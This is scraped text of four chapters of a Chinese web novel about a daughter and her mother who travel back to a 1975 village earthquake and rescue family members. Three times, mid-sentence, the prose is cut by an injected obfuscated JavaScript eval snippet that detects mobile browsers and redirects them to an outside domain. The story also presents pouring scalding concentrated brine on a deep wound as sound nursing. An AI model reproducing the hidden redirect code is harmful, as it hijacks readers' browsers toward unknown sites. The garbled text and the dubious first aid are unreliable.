《重回灾年给老妈完美童年[七零]》 1. 第 1 章 1973年的夏天,天气闷热、粘稠,像一碗搅不动的浆糊,从湛蓝的天上倒扣下来。 脑门上的汗水接连渗出来,还没等滴在土地上便迅速蒸发。 小小村落,树叶静止,空气中一丝风都没有。 方夏荷一声婴儿啼哭惊动了树上的喜鹊,振翅一飞,她哭天抹泪地成了方家长女。 在她五个月大的时候,妈妈又怀上了二妹妹,没了奶水,方夏荷被送到奶奶家寄养,直到五岁才回家。 时钟上的日历显示2025年,方夏荷已人至中年,身材臃肿,嘴唇乌青,边拖地边唠叨: “我五岁才回到你姥姥家,对这个家能不陌生吗?” “我当时一进院子,就记得你姥姥挺着大肚子,肚子里怀着你老舅,背上背着你小姨,手里牵着你二姨。估计她们看我也挺陌生的。五岁才回来的一个陌生人,格格不入。你姥姥,呵,就会让我干活……” 何田听着老妈的“老生常谈”,耳朵起了茧子,不耐烦:“所以你才会从小就没有安全感,长大了变成控制狂,结婚了操控老公,生孩子了操控孩子。” 方夏荷脸一沉:“你这个孩子你,我一天到晚为了这个家操心费力,为了给你找对象求爷爷告奶奶,你还狗咬吕洞宾,不识好人心。” 何田蒙着被子嚷嚷:“要不是你给我介绍了这个死渣男,我现在能这么痛苦吗!” 方夏荷发起脾气来很暴躁:“我要知道他是渣男我能介绍吗?我也不给你找了,省得你什么都怪我。何田,快三十了,你也不是小孩了。老妈还能总年轻,总替你操心吗?把我气死你就美了。” 何田一眨不眨地看着天花板:“我不想找对象了,我不想结婚了......难道你的婚姻很幸福吗?难道给你重来一次的机会你还会结婚吗?” “想那么多干嘛呀,别人干嘛你就干嘛,别总特立独行。你看你表弟,你表妹,人家岁数都比你小,感情都比你稳定,明年也就结婚了。我们不都是这么过来的吗。将来都有家有口,就留你一个大龄剩女,看你怎么办。你学习好有什么用啊,倒是留在大城市了,生活压力又大,找对象又难,让你当初听我的考回家里,你就是不听......” “啊!!”何田尖叫:“烦死了!不要再逼我了,我不想活啦。” 方夏荷也尖叫:“你好好活着吧,我不活了。” 尖叫过后是默契的沉默,房间里安静得奇异。 何田的房间里有一个抽屉装满了药。 方夏荷拉开抽屉,从药瓶里倒出两粒白色小圆片。 更年期开始,她容易失眠,褪黑素早就不奏效了,靠医院开的安眠药促进睡眠。 何田眉头皱得极深:“医生让你吃一片,你又吃两片。” 方夏荷气冲冲的:“少管我,吃一片能睡着谁吃两片。” 何田记得陪妈妈去过一次安定医院,在医院做了各种量表,在一项脑电波的检查中表现出抑郁的指标。何田觉得天塌了,她怎么能接受妈妈有抑郁倾向呢?这就好像一直庇佑自己的大树被蛀空了,腐坏了,外表看起来虽然还完好,但早就摇摇欲坠了。 盛满药盒子的抽屉关上,那股苦涩的药味一时不能散去。 何田静静地躺在床上,脑海里放幻灯片一样播放着自己和前男友跌宕起伏的片段,开心到满世界都是粉色的泡泡,痛苦到睁开眼睛就有眼泪滚了一脸。有时候快乐变得很虚幻,痛苦却真实得拳拳到肉。 听着方夏荷咕咚咕咚咽完药,何田问:“妈,如果让你重来一次,你真还结婚啊?” 方夏荷白她一眼:“不结婚哪有你呀。” 夜已很深,几声蛙鸣从小区的池塘里沸出来,这是方夏荷小时候最熟悉的“□□叫”。方夏荷在药物作用下已经沉睡至酣眠,呼吸声很重,偶有鼾声。 何田睡得却不沉,梦里反复交织着行行色色的脸,一会儿是小时候爸妈吵架把整个家砸个稀巴烂,倾倒的调味瓶,破碎的碗碟,遍体鳞伤的一对虚影对着彼此大扇巴掌;一会儿是幼时攥着考差了的卷子,鲜红的分数明明最刺痛她的眼,她却要先对妈妈说抱歉;一会儿是和前男友分开,妈妈比自己更焦灼于婚恋,她悬置破碎的心,一遍遍安慰着母亲,却把自己的伤痕撕扯得更深。 很多时候她是母亲的小孩,一种私有制的小孩。有时候她像母亲的丈夫,或像母亲的母亲。 何田忽然感觉天旋地转,大脑被猛地扔进甩干机一样失去平衡,继而感知到整张床都在摇晃。 不只是床,是整个房间,整栋楼。 不只是整栋楼,是整片天地。 何田挣扎着睁开眼,看见吊灯在狂摇,她大喊几声:“妈!妈!地震了!快起来!” 摸着黑,何田跑到方夏荷的房间,方夏荷昏昏沉沉地醒不过来,何田心急如焚,90来斤的小身板硬是背起130多斤的方夏荷。 大地的摇晃和身上的负重让她寸步难行,何田声嘶力竭,声音颤得可怜:“妈,快醒醒!地震了!” 天花板崩裂了,墙皮炸裂开来,蔓延出无数道裂缝,钢筋水泥噼里啪啦地砸下来,何田背着方夏荷已经避无可避。 “闺女,闺女。”方夏荷眼前模糊,低声呓语:“别害怕,天塌下来,妈替你扛着。” 她把无力的身躯化成一道屏障。 一声铁器闷响,何田听见方夏荷哼了一声,背上骤然沉重,她膝盖窝软了下去,结结实实地摔进了无边无际的黑暗里。 “妈!”她的心脏像被一双手冰冷攥住又血淋淋地掏空了。 脸上忽而有微微细雨,睁开眼,脚下的土地皲裂着,裂缝像一道惊骇的伤口,深得像被劈开了地心。 1975年入秋,一场大地震席卷了村庄。 何田从地上爬起来,雨水淅淅沥沥打在脸颊,眼前不是城市小区,而是坍塌的土坯房,四周是呼啸着的哭嚎和喊声,撕心裂肺,绝望,弥漫在每一张灰色的脸上。 她低头看着自己明显缩水的身体,只有六七岁孩童大小,穿着不合身的粗布衣裤。巨大的恐慌瞬间淹没了她。妈妈呢?方夏荷呢?! “闺女!闺女?!”一个极度惊恐的嘶哑女声,穿透了嘈杂的哭喊。 何田猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867221|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地转头,心脏狂跳。只见一个年轻了至少二十岁的女人,正踉跄着在废墟中扒拉,她头发凌乱,脸上沾着血污和泥土,但那眉眼、那焦急的神情……分明就是方夏荷!只是,是二十多岁的方夏荷,年轻、饱满,带着灾难后惊魂未定的苍白。 “妈!”何田脱口而出,声音稚嫩得让她自己都吓了一跳。 方夏荷闻声抬头,目光锁定在何田身上。她瞪大眼睛,连滚带爬地冲过来,一把将小小的何田搂进怀里,力道大得让何田几乎喘不过气。 “老天啊,你怎么变成这样了……”方夏荷的声音抖得不成样子,她松开一点距离,双手捧着何田的脸,细细地看,眼泪混着雨水和脸上的污迹汹涌而下,“你怎么……变成这样了?这是……这是哪儿啊?刚才……地震......楼塌了……我背上……” 方夏荷语无伦次,巨大的恐惧和时空错乱让她几乎崩溃。她最后的记忆是沉重的闷响砸在背上,剧痛袭来,紧接着是无边的黑暗。再睁眼,就是这炼狱般的景象,和一个缩水成了娃娃的女儿。 何田看着方夏荷年轻的脸上布满恐惧和茫然,混乱的思绪反而被强行按捺下去一丝。她用力抓住方夏荷的手臂,声音带着孩童的尖利,却异常清晰:“妈!你别慌!我们……我们好像……回到过去了!1975年!那场大地震!你看周围!” 方夏荷顺着何田指的方向望去,那些穿着灰蓝布衣的村民,那些透着时代烙印的残破景象,以及空气中浓烈到无法忽视的、属于七十年代乡村的原始气味……这是儿时的村庄! “1975……地震……”方夏荷喃喃自语,脸色惨白如纸。她猛地想起什么,身体剧烈地颤抖起来,“田田!我……我那时候才两岁大!你姥姥家……在……” 就在这时,一个约莫五十岁年纪、头发斑驳的女人深一脚浅一脚地走了过来。她看到紧紧抱在一起的方夏荷和何田,尤其是看到方夏荷那张与周遭格格不入的惊惶的脸,还有何田身上明显不属于这个村庄孩子的气质,眼神里充满了疑惑和警惕。 “你们……不是这村里的人吧?你们是打哪来的?”王君的声音带着劫后余生的疲惫。 方夏荷浑身一僵,下意识地把何田往身后藏了藏。她看着眼前这个瘦小的女人越发熟悉的面孔——这是她的奶奶王君啊!一个在她五岁前抚养她、在她童年为数不多给她偏爱的亲人。 巨大的冲击让她一时失语。 她眼里渐渐溢出泪水:奶奶......没想到还能重新见到您...... 何田的小手在背后紧紧攥着方夏荷的衣角,她察觉到母亲身体的僵硬和情绪的异常。 她看着王君,一个念头电光火石般闪过脑海。她必须开口,必须给她们一个身份! 否则,两个来历不明的外乡人,在这混乱的时期,后果不堪设想。 “奶奶!”何田用尽力气,让自己的童音听起来十分可怜,“我们……我们是……过来这边找我爸爸的!路上……路上遇到地震了!我妈妈……我妈妈吓坏了!” 她说着,用力摇晃了一下还在发懵的方夏荷的手臂。 2. 第 2 章 方夏荷被女儿这一声“奶奶”彻底惊醒,对上何田那双焦急的眼睛,她瞬间明白了女儿的意图。 她深吸一口气,强压下翻江倒海的情绪和背上的疼痛,声音带着死里逃生的颤抖和刻意放大的哭腔: “大……大姨!我们娘俩从隔壁村逃难过来的……啥都没了……”她顺势抹了把脸,把雨水和泪水混在一起,“孩子她爹来这边帮忙……现在一时半会也找不见了……可咋活啊……” 她哭得情真意切,一半是演的,另一半是对未知命运真真切切的恐慌。 王君看着眼前这对“落难母女”——年轻的女人虽然狼狈,但看得出原本模样周正,身上有种说不出的神韵;小的那个虽然穿着古怪,但眼神机灵,说话也清楚。女人哭得凄惨,不似作伪。她的心软了。这年月,天灾人祸,谁家没点难处?况且,她是经历过背井离乡、丧偶丧子之痛的人,更能体会这种无助。 “唉,造孽啊……”王君重重叹了口气,脸上满是悲悯:“别哭了,哭也没用。先跟我走吧,我那个土坯房成了危房,住不得了。我刚把大孙女送回儿子儿媳家,他们的房子受损小一些,多少能避避雨,看能不能给你们找点吃的。” 见方夏荷母女犹豫,王君拉过她的手:“走吧,在这站着也不是办法,先回家。” 方夏荷听到“回家”两个字,心脏骤得一紧,下意识地看向王君要去的方向——那个她五岁才真正踏入的、让她曾感到无比陌生的“家”。 何田则握住她的手,用眼神传递着力量:第一步,混进去了! 她们跟在王君身后,踩着泥泞和瓦砾。一路上,倒塌的房屋、被抬出来的蒙着破席的尸体、坐在地上茫然哭泣的孩子……人间惨剧冲击着她们的眼球和神经。 方夏荷的脸色越来越白,身体摇摇欲坠,不仅是背上的伤痛,更是亲眼目睹自己童年时代这场灭顶之灾的震撼与痛苦。 何田用小小的身体努力支撑着她,心里只有一个念头:带着妈妈撑下去! 当那个熟悉的、即使在破败中也透着一丝熟悉轮廓的院落出现在眼前时,方夏荷的脚步钉在了地上。 她看着院子里那个背着孩子、眼泪横流的年轻女人——那是她的母亲成秀英!那么年轻,那么鲜活……那么陌生又熟悉。 “妈!你说方文斌个王八犊子,这种时候扔下我们娘仨去大队帮忙了,这要是出点什么事,我们可咋活啊……”成秀英那带着怨气和后怕的哭骂声尖锐而清晰地传了过来。 方夏荷如遭雷击,浑身冰冷。在她童年印象里,母亲总是脾气很坏,动不动就对她施以拳打脚踢。而她自小就非常倔强,怎么踢,怎么打,嘴上也不愿意服软,屡屡激起成秀英更为激烈的打骂。 王君已经快步走了进去:“秀英!别嚎了!文斌心里还是有数的。” “他心里有个屁数!成天想着往外跑。” 成秀英抬起头,看见婆婆后面还跟着两个陌生人。她愣了一下,随即把背上的小婴孩往上颠了颠:“这是谁呀?” 王君顾不上解释太多,指着身后脸色惨白、摇摇欲坠的方夏荷和紧紧扶着她的小何田:“路上碰见的可怜人,逃难过来的,房子塌了,男人没找见,就剩这孤儿寡母了……看她们没处去,我就……” 成秀英一下撂了脸子,目光投向方夏荷和何田。她的眼神锐利地上下打量着这两个不速之客,眉头紧紧皱了起来,充满了审视和不耐烦。家里刚遭大难,房子都快塌了,粮食还不知道在哪,婆婆怎么还往家捡人? 何田的心提到了嗓子眼,原来这是年轻时候的姥姥成秀英。她感觉到母亲方夏荷的身体在成秀英的目光下绷得像一块石头,呼吸都屏住了。 何田鼓起勇气,仰起沾满泥污的小脸,努力挤出一个属于孩童的、带着巨大恐惧和依赖的表情,怯生生地看向成秀英,小声地、清晰地喊了一声: “姨……” 这一声呼唤,带着穿越时空的复杂情愫和小心翼翼的试探,在弥漫着悲伤、恐惧和生存压力的破败小院里,轻轻落下。 成秀英审视的目光微微一顿。 方夏荷则死死咬住了下唇,指甲深深掐进了掌心。 在这个她五岁才回归的“家”门口,她以这样一种荒诞离奇的方式,带着她来自未来的女儿,提前“回家”了。 而就在院子角落一个临时搭成的、勉强遮雨的“帐篷”里,一个裹着粗布衣裳、像个小豆芽菜一样黑瘦的小孩,正睁着乌溜溜的眼睛,咬着手指,怯生生地看向她们。 何田的目光,越过姥姥年轻而充满戾气的脸,越过太奶奶悲悯而疲惫的脸,最终牢牢地盯在那个小小的孩童身上。 那是方夏荷。 她的妈妈。 此刻,只有两岁大。 何田的眼泪,毫无征兆地,汹涌而出。不是为了自己,而是为了眼前这个懵懂无知、命运尚未完全展开的——“妈妈”。 方夏荷也看到了那个小孩,四目相对之时,身体剧烈地晃了一下,眼前阵阵发黑,巨大的眩晕感和无法言喻的悲怆几乎将她吞没。 那一声怯生生的“姨”,像一颗小石子投入死寂的泥潭,只激起一圈微弱的涟漪,很快又被成秀英脸上浓重的阴霾覆盖。她眉头拧得更紧,目光刀子似的在方夏荷惨白的脸和何田沾满泥污的小脸上刮过。 “可怜?”成秀英的嗓音沙哑尖锐,像砂纸磨过生铁:“这年头谁不可怜?我们家房顶都塌了半边,粮食埋在底下挖不出来,男人还不知死哪儿去了!自家人都顾不过来,哪有闲粮养外人!”她背着二女儿的手臂下意识地收紧,仿佛护住仅存的食粮,眼神警惕得像护巢的母狼。 王君脸上的悲悯僵了一下,叹口气:“秀英,话不能这么说……” “妈!”成秀英打断她,语气激烈:“你看看这光景!地都裂成啥样了!村里死多少人?明天吃啥喝啥都不知道!你心善,你菩萨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867222|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你拿什么养她们?”她的目光再次狠狠剜向方夏荷:“看她那样儿,细皮嫩肉的,像能干活的人?再带个拖油瓶!这不是给我们添堵吗?” “拖油瓶”三个字像冰锥,刺得方夏荷浑身一颤。她看着眼前这个年轻、刻薄、满身戾气的母亲,胃里翻江倒海,背上的剧痛似乎都麻木了。她死死咬住下唇,尝到一丝铁锈味,才没让汹涌的悲愤和委屈冲口而出。这就是她记忆里那个家,冰冷、匮乏、充满怨怼。 何田的小手紧紧攥着方夏荷冰凉的手指,感受着母亲身体的颤抖和压抑的绝望。她仰着头,目光越过成秀英紧绷的肩膀,再次投向那个角落的“帐篷”。小豆芽菜似的两岁方夏荷,似乎被这紧张的气氛吓到,乌溜溜的眼睛里盛满了惊恐,小嘴一瘪,无声地往破布帘子里缩了缩。 就在这时,院子外面传来一阵撕心裂肺的哭嚎,由远及近,带着天塌地陷般的绝望。 “来人啊!救命啊!村东头成家大梁塌了!砸……砸着人了!是我兄弟成刚啊!快来人救命啊——!” 这凄厉的哭喊像一道炸雷,轰进了小小的院落。 成秀英浑身剧震,脸色“唰”地一下变得惨白如纸。她猛地扭头看向声音传来的方向——村东头!整个人像被抽掉了骨头,背着二女儿的手一软,孩子差点滑落,她慌忙又死死搂住,嘴唇哆嗦着,却发不出一点声音,只有眼睛里瞬间涌上的巨大恐惧和绝望。 王君也慌了神:“东头?是……是成刚家?秀英,是你弟……” “刚子!”成秀英终于发出一声短促凄厉的尖叫,像濒死的兽。她再也顾不上其他,抱着二女儿就要往外冲,却被脚下碎裂的砖石绊了个趔趄,差点摔倒。 就在这电光火石之间,方夏荷混沌的脑海深处,仿佛被一道闪电劈开! 一个尘封多年、模糊却又无比关键的碎片猛地浮现——成秀英曾经在某个夏夜纳凉时,抹着眼泪说过:“……75年那场大震,要不是……唉,我娘家就剩我一个了……我那苦命的弟弟成刚,才十九,刚说上媳妇……就被砸在自家堂屋的大梁底下……没救出来……谁哪知道刚子被压在靠西墙桌子边......他们找错了地方,反而把刚子压得更深......” 成刚!村东头!堂屋大梁! 巨大的危机感和一个近乎疯狂的念头瞬间攫住了方夏荷!她不知道这是不是唯一的机会,但她必须抓住! “别去!来不及了!”方夏荷不知哪来的力气,猛地挣开何田的手,一步抢上前,用身体死死堵住院门,声音嘶哑却带着一种不容置疑的急迫,“听我说!现在去已经晚了!那大梁太重!人肯定被砸实了!你们去再多人都抬不动!只会白白浪费时间!” 成秀英被她堵住去路,又惊又怒,几乎要扑上来撕打:“滚开!你个外人懂什么!那是我亲弟弟!”她双眼赤红,状若疯癫。 王君也急了:“你这个婆娘这是干什么,你让开!人命关天啊!” 3. 第 3 章 “我知道!我知道人命关天!”方夏荷迎着成秀英喷火的目光,心脏狂跳,语速快得像连珠炮,“听我说!现在唯一能救他的法子,不是去硬抬大梁!是去找撬棍!找粗点的木头!要几个人从侧面把大梁一点点撬开一条缝!” “硬抬会把下面的人压得更死!还有,堂屋塌的时候,他是不是在靠西墙的桌子边?桌子腿或许能撑住一点空隙!快!快让人去找撬棍!找结实的长木头!再去几个人,从西墙那边,小心扒开碎瓦片,看看能不能找到空隙往里喊话!” 她的话又快又急,条理却异常清晰,带着一种近乎预言般的笃定。尤其是“靠西墙的桌子边”这个细节,让状若疯狂的成秀英和王君都瞬间僵住。 成秀英死死盯着方夏荷,眼神像要穿透她的皮肉看到骨子里:“你……你怎么知道他在桌子边?你怎么知道得这么清楚?” 方夏荷心头一凛,知道自己说漏了嘴。她强自镇定,声音带着哭腔颤抖道:“农村的屋子摆设都差不多,我……我舅……我舅也是这么没的!一模一样!在老家……堂屋塌了……大梁……就在桌子边……他们就是傻乎乎地去硬抬……才……”她说不下去了,泪水汹涌而出,半真半假,却也有对“舅舅”模糊记忆的哀伤和对眼前绝境的恐惧。 这情真意切的“亲身经历”和精准的救人方法,像一盆冷水,暂时浇熄了成秀英的疯狂。她看看方夏荷悲痛欲绝的脸,又看看村东头哭喊声传来的方向,对弟弟的担忧压倒了一切。 “快!快按她说的办!”王君当机立断,她经历过太多生死,知道方夏荷说的在理:“文斌!文斌回来了没有?快去喊人!找撬棍!找粗木头!快去东头成刚家!从西墙那边扒!” 王君一边喊着,一边自己先冲了出去,去喊附近还能动的人。 成秀英抱着孩子,像热锅上的蚂蚁,想跟着去,又不敢把孩子扔下,急得直跺脚,看向方夏荷的眼神复杂到了极点——有怀疑,有惊惧,但更多的是抓住最后一根稻草的、近乎卑微的祈求。 方夏荷忍着背上的剧痛和眩晕,推了何田一把,急促地低声道:“田田,快,跟着太奶奶,去帮忙看着点!小心别靠太近!”她需要一个“自己人”在现场。 何田瞬间明白了母亲的用意,用力一点头,迈开小短腿,像颗小炮弹一样追着王君冲了出去。小小的身影在废墟中奔跑,带着孤注一掷的使命。 院子里只剩下方夏荷和抱着二女儿、心神俱裂的成秀英,以及角落里那个吓得瑟瑟发抖的两岁的“小豆芽菜”。 时间一分一秒地过去,每一秒都像一个世纪那么漫长。村东头的哭喊声、叫嚷声、挖掘声混杂在一起,远远传来,揪着人的心。 成秀英再也站不住,抱着孩子瘫坐在湿冷的门板上,眼睛死死盯着东头,嘴唇无声地翕动着,像是在祈祷,又像是在诅咒命运。二女儿在她怀里不安地扭动哭泣,她也浑然不觉。 方夏荷背靠着冰冷的、布满裂缝的土墙,缓缓滑坐在地上。背上的疼痛和刚才那一番耗尽心力的话语让她眼前阵阵发黑。 她看着眼前这个濒临崩溃的年轻母亲,看着她脸上深刻的恐惧和绝望,心脏像是被一只冰冷的手攥住,一阵阵发紧。这就是她母亲内心的底色吗?被苦难和失去打磨得如此粗糙而尖锐? 不知过了多久,也许只是几分钟,也许有几个小时,一阵激动嘈杂的人声由远及近。 “出来了!撬开了!人还活着!有气儿!” “老天爷开眼啊!成刚命大!” “多亏了那法子!撬棍顶住了!桌子腿真撑住了点空!” 王君气喘吁吁地跑在前面,身后跟着几个同样灰头土脸却带着劫后余生激动的男人。何田小小的身影紧紧跟在王君腿边,小脸跑得通红,眼睛却亮得惊人。 紧接着,两个男人用门板抬着一个浑身是血和土、昏迷不醒的年轻小伙子冲进了院子,正是成秀英的弟弟成刚!虽然伤势严重,但胸膛还在微弱地起伏! “刚子!我的刚子啊!”成秀英发出一声撕心裂肺的哭喊,猛地扑了上去,颤抖着手去摸弟弟的脸,确认那微弱的鼻息。巨大的狂喜和后怕让她浑身瘫软,几乎跪倒在门板前,抱着弟弟放声大哭,哭声里充满了失而复得的庆幸。 王君也是老泪纵横,拍着胸口直念“阿弥陀佛”。 哭了好一阵,成秀英才像是想起了什么,抬起头,沾满泪水和泥土的脸上,那双曾经充满戾气和审视的黑眼睛,此刻死死地、极其复杂地凝住了靠在墙边、脸色惨白如纸的方夏荷。 那眼神里有震惊,有难以置信,有深深的疑惑,但更多的,是一种如同绝境中看到神迹般的、混杂着感激与敬畏的光芒。她嘴唇哆嗦着,看看昏迷的弟弟,又看看方夏荷,最后目光落在跑回方夏荷身边、同样紧张地看着她的何田身上。 成秀英抱着弟弟的手紧了紧,仿佛下定了某种决心。她用手背胡乱抹了一把脸,声音嘶哑,却带着一种前所未有的、近乎笨拙的郑重,对着方夏荷,一字一句地说道: “你……你们娘俩……别走了。就……就在这破房子里挤挤。有我成秀英一口吃的……就……就饿不着你们!”她顿了顿,似乎觉得不够,又急急补充道,语气带着一种豁出去的承诺,“等……等缓过这口气……我……我当牛做马还你的恩!” 方夏荷靠在冰冷的墙上,听着这句重若千斤的承诺,看着眼前这个年轻母亲眼中闪烁的、她从未见过的复杂光芒——有感激,有困惑,有敬畏,甚至还有一丝不易察觉的软化。她紧绷的神经骤然一松,积压的疲惫、伤痛和巨大的情绪冲击如潮水般涌上,眼前彻底一黑,身体软软地滑倒下去。 “妈! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867223|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”何田惊恐的呼喊声在耳边炸开。 在意识沉入黑暗的最后一瞬,方夏荷模糊地感觉到,一双粗糙却有力的手,带着一种前所未有的、小心翼翼的力道,托住了她滑落的身体。 那双手,属于年轻的成秀英。 黑暗如潮水般涌来,又缓缓退去。方夏荷是被一阵尖锐的婴儿啼哭和混杂着药草与血腥气的味道呛醒的。 眼皮重得像坠了铅块,她艰难地掀开一条缝。昏黄摇曳的煤油灯光下,是低矮、布满烟尘蛛网的屋顶,一根歪斜的房梁狰狞地悬在头顶,仿佛随时会砸落。身下是硬邦邦的土炕,铺着一层薄薄的、带着霉味的麦草,硌得骨头生疼。她正躺在那间勉强立住的土坯厨房的角落里。 “醒了?”一个嘶哑的声音在旁边响起。 方夏荷转动僵硬的脖颈,对上了成秀英那双熬得通红的眼睛。她正抱着哭闹的二女儿,笨拙地试图用一只豁口的粗瓷碗喂水。看到方夏荷睁眼,成秀英紧绷的下颌线似乎松动了一瞬,随即又恢复了那种带着疲惫的硬朗。 “醒了就好。”她声音干涩,没什么温度,但也没有了之前的刻薄:“背上的伤,应该没伤着骨头,青紫了一大片,得养着。”她顿了顿,眼神瞥向厨房另一边。 方夏荷顺着她的目光看去。靠近门口的位置,用门板临时搭了个铺,上面躺着依旧昏迷的成刚。他的腿用几块粗糙的木板和布条固定着,裸露的小腿上有一道深可见骨的伤口,虽然用草木灰和捣烂的草药糊糊厚厚地敷着,暗红的血水还是不断渗出,染透了脏污的布条。 他的脸色灰败,嘴唇干裂起皮,呼吸微弱而急促。王君正守在一旁,用一块湿布沾着水,小心翼翼地润着他的嘴唇,眼里满是忧色。 空气里弥漫着沉重的气息,比废墟上的腥土味更令人窒息。食物短缺、药品匮乏、重伤濒危的亲人、摇摇欲坠的栖身之所……每一个问题都像悬在头顶的利剑。 何田小小的身影蜷缩在方夏荷脚边的麦草堆里,紧紧挨着她,似乎睡着了,但小眉头紧紧皱着,脸上还残留着泪痕和污渍。 “水……”方夏荷的喉咙干得冒火,声音像砂砾摩擦。 成秀英没说话,放下二女儿,起身从灶台旁一个破瓦罐里舀了半碗浑浊的水,递到方夏荷嘴边。那水带着一股土腥味和难以言喻的异味。 方夏荷顾不得许多,就着她的手,小口小口地吞咽着。冰凉的浊水流过喉咙,带来一丝短暂的清明,也让她更清晰地感受到背上钝刀子割肉般的疼痛。 “他……”方夏荷看向成刚,声音虚弱但带着不容忽视的急迫,“伤口得重新处理……这样不行……会烂掉,会……会得破伤风!”她几乎是咬着牙吐出最后三个字,那是这个年代足以致命的恐怖字眼。 成秀英和王君同时一震,看向成刚伤口的眼神更加恐惧。 4. 第 4 章 “那……那咋办?”王君的声音带着哭腔,“村里的乡医……昨天……人没了……药……药也没了……”她搓着布满老茧的手。 “有盐吗?干净的布?热水?”方夏荷强撑着精神,迅速问道。方夏荷初中毕业后上的卫校,当过一段时间护士,前世作为护士的本能和刻在骨子里的责任感,压过了身体的虚弱。 “盐?”成秀英愣了一下,随即快步走到一个半塌的碗柜旁,费力地从废墟里扒拉出一个粗陶罐,里面还剩小半罐灰扑扑的粗盐。她又翻找出几块相对干净、但同样破旧的粗白布:“热水……灶膛里还有点火,能烧。” “不够干净……”方夏荷看着那沾着泥土的盐罐和布,眉头紧锁。她目光扫视着这破败的厨房,最终落在角落里一个积满灰尘、布满蛛网的瓦盆上。 “把那个盆刷干净!用开水烫!盐用一点点水化开,也用开水烫过的碗装!布……用火烧一下布边!”她几乎是命令式地快速说着,语气带着一种不容置疑的威压,那是她在危急时刻的本能。 成秀英和王君被她突然爆发的气势镇住,下意识地就按她说的去做。成秀英动作麻利地刷洗瓦盆,王君则小心翼翼地护着灶膛里微弱的火种,用仅剩的一点柴火重新烧水。 厨房里一时间只剩下火烧柴禾的噼啪声、水将沸时的嘶嘶声,以及成刚越来越急促痛苦的喘息。气氛凝重得能滴出水来。 何田被这动静惊醒了,揉着眼睛坐起来,看到母亲强撑着坐起,指挥着姥姥和太奶奶,小脸上闪过一丝茫然,随即是深深的担忧。她默默用小手握住母亲冰凉的手指,想要传递给她力量。 水终于烧开了。在方夏荷的指挥下,瓦盆、碗、粗盐、布条都被滚烫的开水反复烫过。方夏荷忍着背痛,示意成秀英将成刚的伤腿小心抬到干净的瓦盆上方。 “按住他!”方夏荷深吸一口气,对成秀英和王君说道。她自己则拿起那碗化开的、浓度极高的盐水,看着成刚腿上那狰狞的伤口和糊着的脏污草药,心一横。 滚烫的、高浓度的盐水,带着强烈的刺激性,猛地浇淋在深可见骨的伤口上! “呃啊——!”昏迷中的成刚发出一声凄厉不似人声的惨嚎,身体剧烈地弹动起来!成秀英和王君死死按住他,眼泪瞬间涌了出来。 成秀英心疼得要命,下意识地扼住方夏荷的手腕:“你要疼死他吗!” 方夏荷急躁地吐出几个字:“要么疼,要么死。选哪个合适?” 成秀英的目光里的火焰弱了下去,松了手。 何田吓得小脸煞白,死死闭上了眼睛,把头埋在方夏荷的腿边。 盐水冲刷着伤口,带出大量的脓血、泥土和草药的残渣,剧烈的疼痛让成刚短暂地清醒了一瞬,眼神涣散而痛苦,随即又陷入更深的昏迷。空气中弥漫开一股浓重的血腥和腐烂的气味。 方夏荷的手很稳,眼神锐利而专注,仿佛感受不到那惨嚎,也闻不到那恶臭。她一遍遍用盐水冲洗,直到伤口深处露出相对新鲜的、但依旧翻卷的皮肉,脓血被冲走大半。剧烈的疼痛刺激下,伤口边缘的肌肉甚至微微抽搐着。 “布!”她低喝一声。 王君颤抖着将用火烧过边缘、相对无菌的布条递给她。方夏荷用布条蘸着盐水,小心翼翼地擦拭伤口深处和边缘,动作尽量轻柔,但每一次触碰依旧让昏迷的成刚无意识地痉挛。 处理完伤口,她再次检查了骨折固定的情况。木板的捆绑还算牢固,位置也基本正确。她松了口气,这才感到一阵天旋地转的虚脱,额头上全是冷汗,背上的伤口也因刚才的动作而火烧火燎地疼起来。 “暂时……只能这样了。”方夏荷的声音带着脱力后的疲倦,“伤口……算是清理了,但……破伤风的风险还在……得想办法弄到真正的药……消炎药……还有,他发烧了,得想法子降温……”她看着成刚灰败的脸色和急促的呼吸,忧心忡忡。 成秀英和王君看着盆里那触目惊心的脓血和污物,再看看成刚腿上虽然依旧狰狞、但明显“干净”了许多的伤口,看向方夏荷的眼神彻底变了。之前的怀疑和敬畏,此刻掺杂了震撼和一丝……依赖。 “你……”成秀英的声音干涩,带着一种笨拙的真诚。她看着方夏荷惨白的脸和额头的冷汗,嘴唇动了动,似乎想说什么,最终只化作一句,“你……你快躺下歇着!” 一直沉默的何田,忽然扯了扯方夏荷的衣角,小手指着厨房角落一个被倒塌的碗柜半压着的、不起眼的瓦瓮,小声说:“妈……那个瓮……我刚才……好像看到里面有东西……像……像豆子?” 所有人的目光瞬间聚焦过去! 